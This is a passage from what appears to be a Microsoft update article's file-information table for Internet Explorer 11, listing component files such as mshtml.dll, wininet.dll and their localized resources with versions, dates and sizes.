11.0.9600.18538| 12-Nov-2016| 12:29| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:29| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:30| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:30| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:27| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:28| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:30| 31,232 \nhtml.iec| 2019.0.0.18895| 1-Jan-2018| 20:51| 341,504 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:12| 2,058,752 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 307,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 293,888 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 290,304 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 299,008 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 303,104 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 20:58| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 283,648 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 291,840 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 299,520 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 275,968 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:49| 293,376 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 258,048 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 256,512 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 288,256 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 285,184 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:52| 297,472 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 292,864 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:51| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 292,864 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 286,208 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 281,600 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 286,720 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:42| 292,352 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:43| 242,176 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:53| 243,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:50| 243,200 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 73,728 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:35| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 78,848 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 15-Aug-2014| 19:47| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 74,752 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:32| 62,464 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 75,264 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:29| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 73,216 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 41,472 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 37,888 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 70,656 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 69,632 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:39| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:30| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 59,904 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 69,120 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:39| 29,696 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 30,720 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 30,720 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:25| 60,416 \nDiagnosticsHub.ScriptedSandboxPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 18:26| 230,912 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:26| 46,080 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 51,712 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 54,272 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 11:10| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:24| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 45,056 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:13| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 39,936 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 39,424 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 51,200 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:07| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:02| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:05| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:04| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:23| 35,328 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 4,388,352 \njsproxy.dll| 11.0.9600.17416| 30-Oct-2014| 20:16| 47,104 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 114,176 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:09| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 124,928 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 122,880 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 130,048 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 138,240 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18666| 16-Apr-2017| 1:51| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 131,584 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 117,760 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 122,368 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:12| 134,144 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:13| 107,008 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 1:46| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:11| 127,488 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:11| 128,512 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 88,064 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 1:47| 82,944 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 120,320 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:07| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 125,952 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:25| 128,000 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:26| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:25| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 124,416 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 13:56| 121,856 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:03| 115,712 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:04| 74,752 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:09| 75,776 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 14:10| 75,776 \nieui.dll| 11.0.9600.18895| 1-Jan-2018| 20:44| 476,160 \niedkcs32.dll| 18.0.9600.19963| 12-Feb-2021| 18:11| 333,312 \ninstall.ins| Not versioned| 12-Feb-2021| 16:25| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2013| 19:20| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 710,656 \niepeers.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 128,512 \nlicmgr10.dll| 11.0.9600.17416| 30-Oct-2014| 20:03| 27,136 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:24| 73,728 \nDiagnosticsHub.DataWarehouse.dll| 11.0.9600.18895| 1-Jan-2018| 20:55| 489,472 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 18:59| 772,608 \nDiagnosticsHub_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:52| 38,912 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:29| 415,744 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 280,064 \nMicrosoft-Windows-IE-F12-Provider.ptxml| Not versioned| 15-Aug-2014| 15:51| 11,892 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:35| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:36| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:33| 4,096 \nF12.dll.mui| 11.0.9600.17278| 15-Aug-2014| 19:47| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:32| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:32| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:26| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:26| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:29| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:29| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:31| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:30| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:37| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:37| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 4,096 \nF12.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:31| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:39| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:37| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:37| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:38| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:32| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 1:34| 3,584 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 175,104 \nF12Resources.dll| 11.0.9600.18939| 10-Feb-2018| 9:17| 10,948,096 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:27| 256,000 \nF12.dll| 11.0.9600.19963| 12-Feb-2021| 18:17| 1,207,808 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 696,320 \nmsfeeds.mof| Not versioned| 5-Feb-2014| 21:53| 1,518 \nmsfeedsbs.mof| Not versioned| 21-Aug-2013| 16:49| 1,574 \nmsfeedsbs.dll| 11.0.9600.19650| 11-Feb-2020| 4:57| 52,736 \nmsfeedssync.exe| 11.0.9600.17416| 30-Oct-2014| 20:25| 11,264 \nmshta.exe| 11.0.9600.17416| 30-Oct-2014| 20:28| 12,800 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 76,800 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 18:58| 20,296,192 \nmshtml.tlb| 11.0.9600.16518| 6-Feb-2014| 2:20| 2,724,864 \nMicrosoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 5-Feb-2014| 21:40| 3,228 \nIEAdvpack.dll| 11.0.9600.17416| 30-Oct-2014| 20:14| 112,128 \nieetwcollector.exe| 11.0.9600.18666| 16-Apr-2017| 0:47| 104,960 \nieetwproxystub.dll| 11.0.9600.17416| 30-Oct-2014| 20:23| 47,616 \nieetwcollectorres.dll| 11.0.9600.16518| 6-Feb-2014| 2:19| 4,096 \nielowutil.exe| 11.0.9600.19404| 9-Jul-2019| 20:06| 221,184 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:45| 310,784 \nIEShims.dll| 11.0.9600.19846| 23-Sep-2020| 20:01| 290,304 \niexpress.exe| 11.0.9600.17416| 30-Oct-2014| 20:27| 152,064 \nwextract.exe| 11.0.9600.17416| 30-Oct-2014| 20:28| 137,728 \nimgutil.dll| 11.0.9600.19963| 12-Feb-2021| 17:59| 40,448 \nExtExport.exe| 11.0.9600.17416| 30-Oct-2014| 20:20| 25,600 \nWindows Pop-up Blocked.wav| Not versioned| 23-Sep-2013| 19:58| 85,548 \nWindows Information Bar.wav| Not versioned| 23-Sep-2013| 19:58| 23,308 \nWindows Feed Discovered.wav| Not versioned| 23-Sep-2013| 19:58| 19,884 \nWindows Navigation Start.wav| Not versioned| 23-Sep-2013| 19:58| 11,340 \nbing.ico| Not versioned| 23-Sep-2013| 19:36| 5,430 \nieUnatt.exe| 11.0.9600.17416| 30-Oct-2014| 20:12| 115,712 \nMicrosoft-Windows-IE-InternetExplorer-ppdlic.xrm-ms| Not versioned| 12-Feb-2021| 19:49| 2,956 \njsdbgui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 459,776 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 579,584 \nMemoryAnalyzer.dll| 11.0.9600.19963| 12-Feb-2021| 18:35| 1,399,296 \nMshtmlDac.dll| 11.0.9600.19867| 12-Oct-2020| 21:43| 64,000 \nnetworkinspection.dll| 11.0.9600.19846| 23-Sep-2020| 20:28| 1,075,200 \noccache.dll| 11.0.9600.17416| 30-Oct-2014| 19:48| 130,048 \ndesktop.ini| Not versioned| 18-Jun-2013| 5:18| 65 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:13| 230,400 \ndesktop.ini| Not versioned| 18-Jun-2013| 5:19| 65 \npdm.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 442,992 \nmsdbg2.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 315,008 \npdmproxy100.dll| 12.0.41202.0| 30-Sep-2014| 16:00| 99,984 \nmsrating.dll| 11.0.9600.19507| 5-Oct-2019| 19:57| 168,960 \nicrav03.rat| Not versioned| 23-Sep-2013| 19:25| 8,798 \nticrf.rat| Not versioned| 23-Sep-2013| 19:26| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 2,308,096 \nie4uinit.exe| 11.0.9600.19963| 12-Feb-2021| 18:11| 692,224 \niernonce.dll| 11.0.9600.17416| 30-Oct-2014| 20:15| 30,720 \niesetup.dll| 11.0.9600.17416| 30-Oct-2014| 20:24| 62,464 \nieuinit.inf| Not versioned| 12-Mar-2015| 18:55| 16,303 \ninseng.dll| 11.0.9600.17416| 30-Oct-2014| 19:56| 91,136 \niesysprep.dll| 11.0.9600.17416| 30-Oct-2014| 19:56| 90,624 \nTimeline.dll| 11.0.9600.19963| 12-Feb-2021| 18:23| 154,112 \nTimeline_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 124,928 \nTimeline.cpu.xml| Not versioned| 24-Jul-2014| 12:11| 3,197 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 818,176 \nurl.dll| 11.0.9600.17416| 30-Oct-2014| 20:24| 235,520 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,066,432 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,121,216 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,075,136 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,063,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,314,240 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,390,528 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,034,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:39| 2,033,152 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,255,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,061,312 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,326,016 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,019,840 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,071,040 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,082,816 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,170,368 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,153,984 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,291,712 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,283,520 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 2,052,096 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,301,952 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:27| 2,093,056 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,075,648 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,299,392 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,094,592 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,316,800 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,305,536 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,278,912 \nieframe.dll.mui| 11.0.9600.19963| 12-Feb-2021| 20:32| 2,286,080 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,060,288 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,315,776 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,278,912 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:29| 2,324,992 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:30| 2,098,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 1,890,304 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 22:26| 1,890,304 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:09| 13,881,856 \nieframe.ptxml| Not versioned| 5-Feb-2014| 21:40| 24,486 \nieinstal.exe| 11.0.9600.18921| 9-Feb-2018| 21:35| 475,648 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:30| 526,294 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 499,654 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 552,337 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 944,559 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:38| 457,561 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 543,946 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 526,557 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 575,838 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:30| 570,737 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 548,119 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 639,271 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 525,504 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 488,488 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 548,494 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 559,343 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 535,067 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 541,455 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 804,470 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:31| 503,909 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 521,583 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:29| 420,082 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:28| 436,651 \nInetRes.adml| Not versioned| 12-Feb-2021| 20:28| 436,651 \ninetres.admx| Not versioned| 11-Jan-2021| 19:25| 1,678,023 \ninetcomm.dll| 6.3.9600.19963| 12-Feb-2021| 18:17| 880,640 \nINETRES.dll| 6.3.9600.16384| 21-Aug-2013| 21:14| 84,480 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 18:14| 4,112,384 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 620,032 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:37| 653,824 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:47| 498,176 \n \n### \n\n__\n\nInternet Explorer 11 on all supported x64-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nactxprxy.dll| 6.3.9600.19301| 25-Feb-2019| 22:25| 2,882,048 \nhlink.dll| 6.3.9600.19101| 18-Jul-2018| 21:22| 108,544 \npngfilt.dll| 11.0.9600.19963| 12-Feb-2021| 19:18| 65,024 \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 18:04| 1,569,280 \niexplore.exe| 11.0.9600.19036| 24-May-2018| 23:30| 817,296 \nWininetPlugin.dll| 6.3.9600.17416| 30-Oct-2014| 21:51| 43,008 